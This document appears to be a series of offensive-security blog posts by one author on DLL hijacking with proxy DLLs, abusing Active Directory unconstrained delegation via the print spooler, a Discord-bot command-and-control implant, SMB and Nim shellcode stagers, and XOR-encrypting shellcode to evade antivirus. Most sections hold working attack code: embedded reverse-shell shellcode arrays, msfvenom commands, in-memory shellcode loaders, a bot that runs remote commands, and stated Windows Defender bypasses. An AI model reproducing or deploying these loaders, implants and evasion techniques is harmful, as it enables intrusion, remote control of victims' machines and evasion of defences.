#pragma comment(linker,"/export:SystemFunction034=C:\\Windows\\System32\\cryptbase.SystemFunction034,@8")
#pragma comment(linker,"/export:SystemFunction036=C:\\Windows\\System32\\cryptbase.SystemFunction036,@9")
#pragma comment(linker,"/export:SystemFunction040=C:\\Windows\\System32\\cryptbase.SystemFunction040,@10")
#pragma comment(linker,"/export:SystemFunction041=C:\\Windows\\System32\\cryptbase.SystemFunction041,@11")

#include <windows.h>

VOID Payload() {
    // Run your payload here.
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
    switch (fdwReason)
    {
    case DLL_PROCESS_ATTACH:
        Payload();
        break;
    case DLL_THREAD_ATTACH:
        break;
    case DLL_THREAD_DETACH:
        break;
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

Weaponizing the DLL Hijacking

Let’s create new CPP DLL project:

During the demo, I am using Visual Studio 2017 on Commando VM.

Now let’s tweek the malicious template from spartacus. I created “Offensive CPP” repository, its idea is to host a malicious independent snippets, which can be used in various offensive scenarios. Let’s copy some shellcode execution code. During the demo, I am using the “FileMap” snippet (https://github.com/lsecqt/OffensiveCpp/blob/main/Shellcode%20Execution/FileMap/directPointerToFileMap.cpp)

The last step is to generate a shellcode from msfvenom:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=eth0 LPORT=443 -f c

And combine the pieces by compiling the custom DLL as x64/Release:

#pragma once

#pragma comment(linker,"/export:SystemFunction001=C:\\Windows\\System32\\cryptbase.SystemFunction001,@1")
#pragma comment(linker,"/export:SystemFunction002=C:\\Windows\\System32\\cryptbase.SystemFunction002,@2")
#pragma comment(linker,"/export:SystemFunction003=C:\\Windows\\System32\\cryptbase.SystemFunction003,@3")
#pragma comment(linker,"/export:SystemFunction004=C:\\Windows\\System32\\cryptbase.SystemFunction004,@4")
#pragma comment(linker,"/export:SystemFunction005=C:\\Windows\\System32\\cryptbase.SystemFunction005,@5")
#pragma comment(linker,"/export:SystemFunction028=C:\\Windows\\System32\\cryptbase.SystemFunction028,@6")
#pragma comment(linker,"/export:SystemFunction029=C:\\Windows\\System32\\cryptbase.SystemFunction029,@7")
#pragma comment(linker,"/export:SystemFunction034=C:\\Windows\\System32\\cryptbase.SystemFunction034,@8")
#pragma comment(linker,"/export:SystemFunction036=C:\\Windows\\System32\\cryptbase.SystemFunction036,@9")
#pragma comment(linker,"/export:SystemFunction040=C:\\Windows\\System32\\cryptbase.SystemFunction040,@10")
#pragma comment(linker,"/export:SystemFunction041=C:\\Windows\\System32\\cryptbase.SystemFunction041,@11")

#include <windows.h>
#include <iostream>

unsigned char buf[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00"
"\x00\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\xc0\xa8\x6e\x89"
"\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07"
"\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29"
"\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48"
"\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea"
"\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89"
"\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81"
"\xc4\x40\x02\x00\x00\x49\xb8\x63\x6d\x64\x00\x00\x00\x00"
"\x00\x41\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0"
"\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01\x01"
"\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6\x56\x50\x41"
"\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff\xc8\x4d"
"\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48"
"\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
"\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5"
"\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";

VOID Payload() {
 ShowWindow(GetConsoleWindow(), SW_HIDE);

 HANDLE mem_handle = CreateFileMappingA(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, sizeof(buf), NULL);

 void* mem_map = MapViewOfFile(mem_handle, FILE_MAP_ALL_ACCESS | FILE_MAP_EXECUTE, 0x0, 0x0, sizeof(buf));

 std::memcpy(mem_map, buf, sizeof(buf));

 std::cout << ((int(*)())mem_map)() << std::endl;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
 switch (fdwReason)
 {
 case DLL_PROCESS_ATTACH:
  Payload();
  break;
 case DLL_THREAD_ATTACH:
  break;
 case DLL_THREAD_DETACH:
  break;
 case DLL_PROCESS_DETACH:
  break;
 }
 return TRUE;
}

After performing DLL Hijacking with the compiled DLL, the binary executes as normal, while we receive the shell callback.

Conclusion

As mentioned before, DLL Hijacking on its own is a valid finding and often during pentests, it can be enough just to prove that it is vulnerable. However, in more complex cases, you may need to operate more stealthy. Since the default DLL Hijacking is corrupting the binary, this can be a huge IOC (Indicator Of Compromise). To evade being detected, I recommend sticking to as much as possible to custom made DLLs, custom made shellcode and do not forget to implement additional AV/EDR evasion techniques alongside with the DLL Proxying.

Thank you for your attention, I really hope this blog is useful, if so, make sure to follow me on:

Youtube: https://www.youtube.com/@Lsecqt

Twitter: https://twitter.com/lsecqt

Github: https://github.com/lsecqt

In Windows (Active Directory) world, there is a scenario where user needs to perform elevated actions towards objects, without being added to highly administrative groups, such as Domain Admins.

To solve this issue, Microsoft came up with “delegation”, in other words, there is a configuration that allows highly elevated tasks, from non administrative users.

If you want to be a part of growing community, where knowledge and experience is being shared, feel welcome to my Discord: https://discord.gg/dWCe5ZMvtQ

If you prefer watching a video instead of reading, you can find it on my Youtube Channel: https://youtu.be/eDmkkL108W4

With that being said, let’s get to work!

Theory Behind!

The delegation configuration must be carefully implemented. Usually it must be set to be limited for specific user <==> service, meaning the user does not have delegation rights to anything beside that.

For today’s example, I will review the scenario where a machine account (ending with $) has unconstrained delegation towards the domain controller’s machine account.

The problem occurs when the delegation is misconfigured for all services. The option can be seen from:

Active Directory Users And Computers --> double click on desired machine --> delegation tab.

For this attack to work, the DC should also have running Print Spooler service. To verify that we can either do:

1. Get-Service Spooler

2. ls \\dc\pipe\spoolss

Why do we need print service?

This is a valid point, at its core, the attack is coercing the authentication. The theory behind the attack is if we have the delegation rights against the DC (or of course against other machine) we can force it to perform authentication request, which results in getting the ticket for the machine account.

Let’s Get to Work!

Enumeration

The enumeration is simple, all we need is powerview. It made our job easier and in order to check, we need one really simple command. Let’s first import it.

Note: I am not focused on any kind of AV / AMSI or Proxy bypasses, but the raw technique behind the attack. Of course if you want to import powerview in more secured environments, you must consider other things that can block your advancing!

Then to check for unconstrained delegations, we can just do:

Get-DomainComputer -Unconstrained

The output can be huge, to parse it we can select samaccountname field:

Get-DomainComputer -unconstrained | select samaccountname

So the enumeration is complete! We know the remote DC is running print spooler and the machine we compromised has delegation rights towards it!

Here is the time to mention that in order this attack to work, we must be local administrator on the compromised client.

Exploitation

Exploitation process is simply running rubeus to monitor for incoming auth requests, and then coerce the authentication. For the demo I am running rubeus from here: https://github.com/r3motecontrol/Ghostpack-CompiledBinaries

For the coercion tool, I use compiled as release binary from: https://github.com/leechristensen/SpoolSample

So far our environment is setup and ready. Let’s start Rubeus in monitor mode:

rubeus.exe monitor /interval:10 /filteruser:dc01$

Note: do not forget the ‘$’ at the end of the machine username.

The next step is to coerce the authentication with spoolsample, the syntax is:

SpoolSample.exe Target_Server Capture_Server

So for our demo it would be:

SpoolSample.exe dc01 client01

If the environment is vulnerable, as soon as we run the command, similar output should be present:

Let’s check Rubeus:

Tadaa! There is the ticket. Now we can use it to compromise the domain with DCSync attack.

We can verify that the DC ticket was imported into memory, by running:

klist

Conclusion

Again we are faced against the calculation between scalability and security. Of course it is easier to just setup things to be relevant to all services, but this can come with huge risk. Let’s discuss how to mitigate it!

First of all is disabling Print Spooler service, especially if you do not need it! Alternatively, you can block print spooler to accept network connections via GPO, which still patches the vulnerability. Indeed both of this techniques are doing well, my most honest recommendation is to be careful when setting up things. Try to encapsulate as much as you can, this way you make the attacker’s job harder by adding hours and hours into researching and trying more things.

Hope this was interesting and you learned something new, stay tuned for more!

If you prefer watching a video instead of reading, feel welcomed to my channel: https://youtu.be/Bocf7xM7XWQ

Even though the results were nice (bypassing windows defender, bypassing firewall restrictions by sending / receiving commands on trusted and encrypted channel), we had to deal with enormously huge file size (40+ MB) as well as hiding the process and the GUI experience.

I had several ideas which I will go through now, at the end each idea has it own room for failure. I cannot say I developed a stable shell, but kinda got something to work. Let’s start!

Idea 1 — Create a Discord bot with C#

The problem with python and nuitka was the huge file size, that is because nuitka needed to compile and combine every single included library. The custom piece of code is small, the whole bot was not having more than 40 lines of code. Even though the bot was working perfectly, it is dangerous to drop 40+ MB executable on the target.

That got me thinking for alternative ways of creating the shell. My initial idea was to create the bot with .net framework. You may ask why not .net core? Well, .net framework is preinstalled on all Windows PCs, meaning if I compile a code into execuable, it will get executed without problems. If I were to build it on .net core, I pretty much have 2 options.

1. Ship all my DLLs along with the executable.

2. Compile a standalone PE.

When I went deep with the discord library for C# (https://discordnet.dev/guides/introduction/intro.html) I realised that the only option for me is to build it with .net core, since .net framework turned out to be out of support. After a lot of attempts to make it work under .net framework, I was pissed off and decided to try different approach.

You may ask now, why not go with option 2? Well, I went with that and I faced pretty much the same problem. The .net core binary was even bigger than tha nuitka one.

Maybe there is a way to run it on .net framework, but more research and testing time is required, I will leave that for future! Moving on!

Idea 2 — Good Old Nim

After researching on what languages, I can build the bot upon, surprisingly, I stumbled across Nim and its library Dimscord (https://github.com/krisppurg/dimscord). I tried that with a little bit of scepticism but turned out the bot was working fine, and the file size was small. Perfect!

As all the things that looks perfect, they are not!

Nim had one general problem and that is the SSL support. When you compile and use the bot on same machine it works amazing. As soon as you transfer that to the victim box, you see that:

Yep, you need to carry out your SSL DLLs all together with your executable. Not so perfect huh? Of course, a lot of researching was made on how that can be bypassed but my hopes died when I saw that:

Moving on!

Idea 3 — Stage the original binary from Nuitka

So far this was my best idea that kind of works. I think it is better to perform SMB request than to drop 40+ MB executable on the target.

The idea here is simple, host the binary with impacket-smbserver and create a simple C POC for staging it! Lets walk through the C code:

#include <stdio.h>
#include <windows.h>

int main()
{
  HWND myWindow = GetConsoleWindow();
  ShowWindow(myWindow, SW_HIDE);
  system(\\\\IP\\shareName\\dropper.exe");
}

The first lines are of course imports, we need the windows.h library for hiding the console window. This is done with “ShowWindow(myWindow, SW_HIDE);”

The next part is simple, execute the file on the remote share.

After hosting it with:

impacket-smbserver smb . -ts -debug -smb2support

The stager turned out to be working pretty nice!

Wrapping Up

Of course, there is a lot of room to improve, but so far, the things are getting better and better. In future we can try to hide the stager itself, or completely change the approach again.

Hope that gives a nice foundation of how you can think outside of the box and find a hacky solution to a problem.

Feel welcomed to my Discord server (no C2 bots there don’t worry), where we share experience and knowledge: https://discord.gg/dWCe5ZMvtQ

Also, I would appreciate your support by subscribing to my Youtube: https://www.youtube.com/c/Lsecqt, that means a lot for me!

Hope you enjoyed and learned something new!

If you want to support my work, you can do it with coffees and Bitcoin:

https://www.buymeacoffee.com/lsecqt

3HmYmnPKZuwZZktW9Q9HAP8Gk9EWTjc4TC

Feel welcomed to the server: https://discord.gg/dWCe5ZMvtQ

Also, if you prefer watching a video instead of reading, you can find it here: https://youtu.be/LnXOtHhCx08

Theory

No matter of the programming engine, all discord bots are working pretty much the same. They are using webhooks to perform actions you specify them with permissions. There are many libraries, that supports different programming language. Discord bots can be written in pretty much every language, when following the API documentation(https://discord.com/developers/docs/intro).

Discord bots on python are using library called discord.py (https://discordpy.readthedocs.io/en/stable/)

It is simple straight forward to setup and use. The bot code itself is easy to understand and write. Now let’s get back to the main point, how to weaponize that?

The issue comes from there, when running the bot, your PC bypasses firewalls since it is talking directly to Discord servers. Meaning the traffic is encrypted and is on verified channel. This means that if we code the bot to reads and writes commands to specific channel, we can obtain encrypted code execution. The code on python is super simple, but there is a one major problem. How would we force the target to run a python code?

The best solution I came up so far is utilizing Nuitka(https://nuitka.net/) for compiling the python code into a standalone PE (Portable Executable). This way we have a standard C2 dropper. (We will go over what is the major problem of Nuitka)

Now let’s break down the code parts. We need to perform the following tasks:

1. Create Discord Bot
2. Join the bot to custom server
3. Code the bot to treat user messages as commands, and to return output.
4. Compile to PE

Action

How to create a Discord Bot?

Navigate to https://discord.com/login?redirect_to=%2Fdevelopers%2Fapplications

Click New Application:

Give it a name:

Then click on the Bot submenu:

Add Bot:

Make sure to enable all intents (especially the message one)

One more thing left to do, go to your bot and reset the token, save the new one somewhere safe. This will be needed for step 3.

How to add the bot to my server?

Now the bot is ready, to add it click on the URL Generator under Oauth2 Menu.

Check Bot -> Administrator -> Copy and Paste the URL in browser. Then just simply choose the server the bot to be added on.

How to code the bot?

Now comes the fun part!

Let’s analyze the following piece of code:

from discord.ext import commands
from discord.utils import get
from discord.ext.commands import Bot
import discord
from discord.utils import get
import subprocess
import time

DISCORD_TOKEN = "Token from step 1"

def Exec(cmd):
    output = subprocess.check_output(cmd, shell=False)
    return output


intents = discord.Intents.all()
intents.members = True
intents.reactions = True
intents.guilds = True
bot = Bot("!", intents=intents)



@bot.command()
async def IssueCmd(ctx, arg):
    await ctx.send(arg)

@bot.event
async def on_message(message):   
    if(message.author.id == 1046317520178663534):
        await message.channel.send(Exec(message.content).decode("utf-8"))

if __name__ == "__main__":

    bot.run(DISCORD_TOKEN)

Let’s break it down to see how this works.

The first few lines are the library imports and the static token from step 1.

from discord.ext import commands
from discord.utils import get
from discord.ext.commands import Bot
import discord
from discord.utils import get
import subprocess
import time

DISCORD_TOKEN = "Token from step 1"

Next we have the method for executing system commands, and returns the funciton output.

def Exec(cmd):
    output = subprocess.check_output(cmd, shell=False)
    return output

Next we initialize the bot.

intents = discord.Intents.all()
intents.members = True
intents.reactions = True
intents.guilds = True
bot = Bot("!", intents=intents)

Next we specify it’s actions. This is how we want the bot to behave. What we are saying here, is whenever the bot receives a message from the user with id of “1046317520178663534”, it will start the command execution process. If you are wondering how to get your userid, it is enough to enable Discord developer options, right click and copy ID.

@bot.command()
async def IssueCmd(ctx, arg):
    await ctx.send(arg)

@bot.event
async def on_message(message):   
    #obviously replace the userid with your own
    if(message.author.id == 1046317520178663534#obv):
        await message.channel.send(Exec(message.content).decode("utf-8"))

And finally, running the bot.

if __name__ == "__main__":

    bot.run(DISCORD_TOKEN)

Let’s test it. By running the application with python, we can see the bot runs online, and we can successfully issue commands.

Now the tough part.

How to compile the code into PE?

For the purpose, I stopped to Nuitka. It is fairly simple to use. We just have to be patient. It requires MinGW-64 compiler, but It will auto-download a suitable version the first time you run it.

To install nuitka, you can simply go with

pip install nuitka

To compile the binary, I used this command:

python -m nuitka --mingw64 .\main.py --standalone --onefile

After 860+ seconds, the binary was ready and was working fine!

What about Windows Defender?

Everything is clear for him.

What about Antiscanme Vendors?

The filesize was extremely large for me to upload it. If you guys have dedicated lab with a bunch of AV vendors, feel free to try it against them.

I will be waiting for your results on my twitter!

What is the problem?

Since it generated a single, standalone PE, Nuitka needed to combine all libraries and compile them all together. That’s why the process was slow, and the file was having 40+ MB of size. This is obviously a problem which we will address in future. Another problem is the annoying pop up during execution. Also, a lot of things can be performed, such as process injection, but I doubt we can achieve that having that huge filesize. We will leave that for the next one!

Wrapping Up

Always be as creative as you can. The more knowledge you have, the more opportunities for implementing creativity you will face. Even though the current version is far from usable, I think it gives a solid ground on what to build on. The C2 was working great, its only problem was the file size. After all, no thing is perfect.

Thank you for reading and hope you learned something new.

You can support my work by buying me a coffee: https://www.buymeacoffee.com/lsecqt

Today we are developing simple SMB stager, bypassing Windows Defender at the time testing.

If you prefer watching a video instead of reading, the full video could be found here: https://youtu.be/qq-S2syksL0

Also, if you are interested in joining open Discord for sharing cybersec knowledge and experience, feel welcomed: https://discord.gg/dWCe5ZMvtQ

Let’s GO

The theory is fairly simple, the idea is to avoid writing the shellcode to the file, bypassing signature-based detection, while helping for heuristics as well. I initially tried downloading the shellcode with HTTP, but I stumbled across many issues, I was not able to resolve myself. Then the methodology slightly changed. Instead of downloading it from HTTP, the payload will be hosted on SMB share, and will be directly read from there.

I used msfvenom stageless payload

msfvenom -p windows/x64/shell_reverse_tcp LHOST=eth0 LPORT=443 -f raw -o code.bin

And hosted the file with:

impacket-smbserver smb . -ts -debug -smb2support

The code POC is the following:

import winim/lean

var filename = "\\\\192.168.153.128\\smb\\code.bin"

var file: File = open(filename, fmRead)

var fileSize = file.getFileSize() 
var shellcode = newSeq[byte](fileSize)
discard file.readBytes(shellcode, 0, fileSize)
file.close

echo shellcode

echo fileSize

echo sizeof(shellcode)

type
    buf* = LPVOID



var rez = VirtualAlloc(nil, fileSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
copyMem(rez, shellcode[0].addr, fileSize)
let f = cast[proc(){.nimcall.}](rez)
f()

Let’s analyze the code line by line.

First things first, we must import Windows kernel library, allowing us to invoke Windows APIs:

import winim/lean

Then we can simple read a file from a SMB share:

var filename = "\\\\192.168.153.128\\smb\\code.bin"

var file: File = open(filename, fmRead)

var fileSize = file.getFileSize() 
var shellcode = newSeq[byte](fileSize)
discard file.readBytes(shellcode, 0, fileSize)
file.close

Then what is left is to simply execute the shellcode by invoking Windows APIs:

type
    buf* = LPVOID

var rez = VirtualAlloc(nil, fileSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
copyMem(rez, shellcode[0].addr, fileSize)
let f = cast[proc(){.nimcall.}](rez)
f()

I know that looks super simple, and in fact is, but the main point is that it is working!

Testing Time!

I performed 2 tests. First one is against Windows 10 Client with Defender UP and RUNNING. The second is against antiscan.me interface.

Nim Stager vs Windows Defender

Test 1 starts by dropping the stager to the filesystem. Nothing is getting triggered so far, meaning we successfully bypassed signature based detection. Now let’s run and observe:

The stager turned out to work just fine, and the strange thing here is that Defender was managed to get triggered, but this did not kill the shell:

I had this shell running for a bunch of minutes and it was fully functional. I personally do not have a clue why the defender did not kill it, if you know the answer I would appreaciate sharing.

Nim Stager vs Antiscanme

Don’t get me wrong, antiscanme is great but when testing stagers, they do not really have a way of presenting valid results. The results you see are based solidely on signature based detection, since they have no network possiblity of downloading the actual shellcode. I expect more AV vendors to catch that on real testing, but it is a nice “first step” to do.

After uploading the stager only 4/26 vendors was able to catch it.

I believe that trigger is based on the vendors reading the Windows APIs calls, thus counting that as a malicious. Of course, in order to test what exactly went wrong I would need to perform many, many tests. That is my theory for the moment.

Conclusion

Playing with Nim is fun and the results we achieved by simply staging things are amazing. Of course, there are way more advanced AV bypassing techniques we can perform, but we will be doing that in the future. Hope you find that content useful and learned something new.

If you prefer watching a video instead of reading, you can find it on my YouTube: https://youtu.be/ZHnvcFaJvh4

You can also join my discord server for sharing knowledge and experience: https://discord.gg/dWCe5ZMvtQ

Theory

Why do we need encryption?

AV vendors mainly have 2 types of detection techniques.

1. Signature based
2. Heuristic based

First one is being initialized as soon as the file drops to the disk. Its idea is to seek for malicious content or matching hash (considered as malicious from a global database)

Second one is more interesting, since it attempts to run the application in sandboxed environment, trying to understand what it is trying to do.

Encryption techniques are focused on bypassing signature-based detection, but they also help with heuristics. The idea is fairly simple, instead of storing a real, malicious shellcode (machine instructions in hex) in a variable, we can store it encrypted, so the string would be unlike to any signature.

Of course, when encrypted, the shellcode could not be executed, the point is to decrypt it on runtime.

Yeah, that is fine, but will the heuristics run the application and catch the decrypted shellcode on runtime?

Well, yes, but sometimes it can help evade even heuristic based detection. Let me say it like that, do not look at AV evasion as having a magic bullet that pierces through all vendors, it is rather a set of techniques, each one lowering the detection rate.

What is XOR?

There are many encryption methods, and pretty much everyone can implement their own. Why XOR? Well it is:

1. Easy to understand
2. Easy to implement
3. Works!

The history of xor encryption comes from xor gates, and can be found here:

XOR gate — Wikipedia

And the raw theory behind xor cipher can be found here:

XOR cipher — Wikipedia

In a nutshell, it is a bitwise operation that encrypts each bit, one at a time, with a given custom key. Let me demonstrate that with code.

Its C implementation is simple:

#include <stdio.h>

unsigned char code[] = "Test";

int main()
{
 char key = 'K';
 int i = 0;
 for (i; i<sizeof(code); i++)
 {
  printf("\\x%02x",code[i]^key);
 }
 
}

Output:

\x1f\x2e\x38\x3f\x4b

This is designed to only print the encrypted shellcode. If needed we can write it into file or send it over the network, but for simplicity we will use copy/paste.

Now, let’s create the decryptor. The algorithm is the same, the only differences we need to implement, is to replace the string with the ecnrypted shellcode from the previous code, lower the size of the char array in the for loop and overwrite the character array instead of printing stuff out. Let me make it more clear:

#include <stdio.h>

unsigned char code[] = "\x1f\x2e\x38\x3f\x4b";

int main()
{
 char key = 'K';
 int i = 0;
 for (i; i<sizeof(code) - 1; i++)
 {
  code[i] = code[i]^key;
 }
 printf("%s", code);
 
}

The print statement is not nessecery but I just wanted to showcase how the xor is working. By printing the variable “code” we get:

Test

Confirming the process is working just fine.

NOTE

It is needed to use single quotes (‘) instead of double (“) for the key variable. When implementing it with double quotes it will break the algorithm. I think that is the way of C to interpret string vs char variable type.

Weaponization

It is all good when we are playing with simple strings, but what about real, weaponized code?

Let’s first generate the malicious payload:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=eth0 LPORT=443 -f c

Then append the output to encryptor.c

#include <stdio.h>

unsigned char code[] = 
"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x48\x31\xd2\x65\x48\x8b\x52\x60\x56\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x4d\x31\xc9\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b"
"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x8b\x48"
"\x18\x44\x8b\x40\x20\x50\x49\x01\xd0\xe3\x56\x4d\x31\xc9\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x48\x31\xc0\x41\xc1\xc9"
"\x0d\xac\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45"
"\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b"
"\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48"
"\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9"
"\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00"
"\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5"
"\x49\xbc\x02\x00\x01\xbb\xc0\xa8\xfe\x82\x41\x54\x49\x89\xe4"
"\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68"
"\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a"
"\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89"
"\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5"
"\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba"
"\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5"
"\xe8\x93\x00\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9"
"\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5"
"\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41"
"\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41"
"\xba\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31"
"\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9\xc8"
"\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68\x00\x40"
"\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5"
"\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c"
"\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4\x41"
"\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2\x56\xff\xd5";

int main()
{
 char key = 'K';
 int i = 0;
 for (i; i<sizeof(code); i++)
 {
  printf("\\x%02x",code[i]^key);
 }
 
}

The remaining code remains the same. Upon compilation and execution we receive the following output:

\xb7\x03\xc8\xaf\xbb\xa3\x87\x4b\x4b\x4b\x0a\x1a\x0a\x1b\x19\x1a\x03\x7a\x99\x2e\x03\xc0\x19\x2b\x1d\x03\xc0\x19\x53\x03\xc0\x19\x6b\x06\x7a\x82\x03\xc0\x39\x1b\x03\x44\xfc\x01\x01\x03\x7a\x8b\xe7\x77\x2a\x37\x49\x67\x6b\x0a\x8a\x82\x46\x0a\x4a\x8a\xa9\xa6\x19\x0a\x1a\x03\xc0\x19\x6b\xc0\x09\x77\x03\x4a\x9b\x2d\xca\x33\x53\x40\x49\x44\xce\x39\x4b\x4b\x4b\xc0\xcb\xc3\x4b\x4b\x4b\x03\xce\x8b\x3f\x2c\x03\x4a\x9b\xc0\x03\x53\x0f\xc0\x0b\x6b\x1b\x02\x4a\x9b\xa8\x1d\x06\x7a\x82\x03\xb4\x82\x0a\xc0\x7f\xc3\x03\x4a\x9d\x03\x7a\x8b\x0a\x8a\x82\x46\xe7\x0a\x4a\x8a\x73\xab\x3e\xba\x07\x48\x07\x6f\x43\x0e\x72\x9a\x3e\x93\x13\x0f\xc0\x0b\x6f\x02\x4a\x9b\x2d\x0a\xc0\x47\x03\x0f\xc0\x0b\x57\x02\x4a\x9b\x0a\xc0\x4f\xc3\x03\x4a\x9b\x0a\x13\x0a\x13\x15\x12\x11\x0a\x13\x0a\x12\x0a\x11\x03\xc8\xa7\x6b\x0a\x19\xb4\xab\x13\x0a\x12\x11\x03\xc0\x59\xa2\x00\xb4\xb4\xb4\x16\x02\xf5\x3c\x38\x79\x14\x78\x79\x4b\x4b\x0a\x1d\x02\xc2\xad\x03\xca\xa7\xeb\x4a\x4b\x4b\x02\xc2\xae\x02\xf7\x49\x4b\x4a\xf0\x8b\xe3\xb5\xc9\x0a\x1f\x02\xc2\xaf\x07\xc2\xba\x0a\xf1\x07\x3c\x6d\x4c\xb4\x9e\x07\xc2\xa1\x23\x4a\x4a\x4b\x4b\x12\x0a\xf1\x62\xcb\x20\x4b\xb4\x9e\x21\x41\x0a\x15\x1b\x1b\x06\x7a\x82\x06\x7a\x8b\x03\xb4\x8b\x03\xc2\x89\x03\xb4\x8b\x03\xc2\x8a\x0a\xf1\xa1\x44\x94\xab\xb4\x9e\x03\xc2\x8c\x21\x5b\x0a\x13\x07\xc2\xa9\x03\xc2\xb2\x0a\xf1\xd2\xee\x3f\x2a\xb4\x9e\xce\x8b\x3f\x41\x02\xb4\x85\x3e\xae\xa3\xd8\x4b\x4b\x4b\x03\xc8\xa7\x5b\x03\xc2\xa9\x06\x7a\x82\x21\x4f\x0a\x13\x03\xc2\xb2\x0a\xf1\x49\x92\x83\x14\xb4\x9e\xc8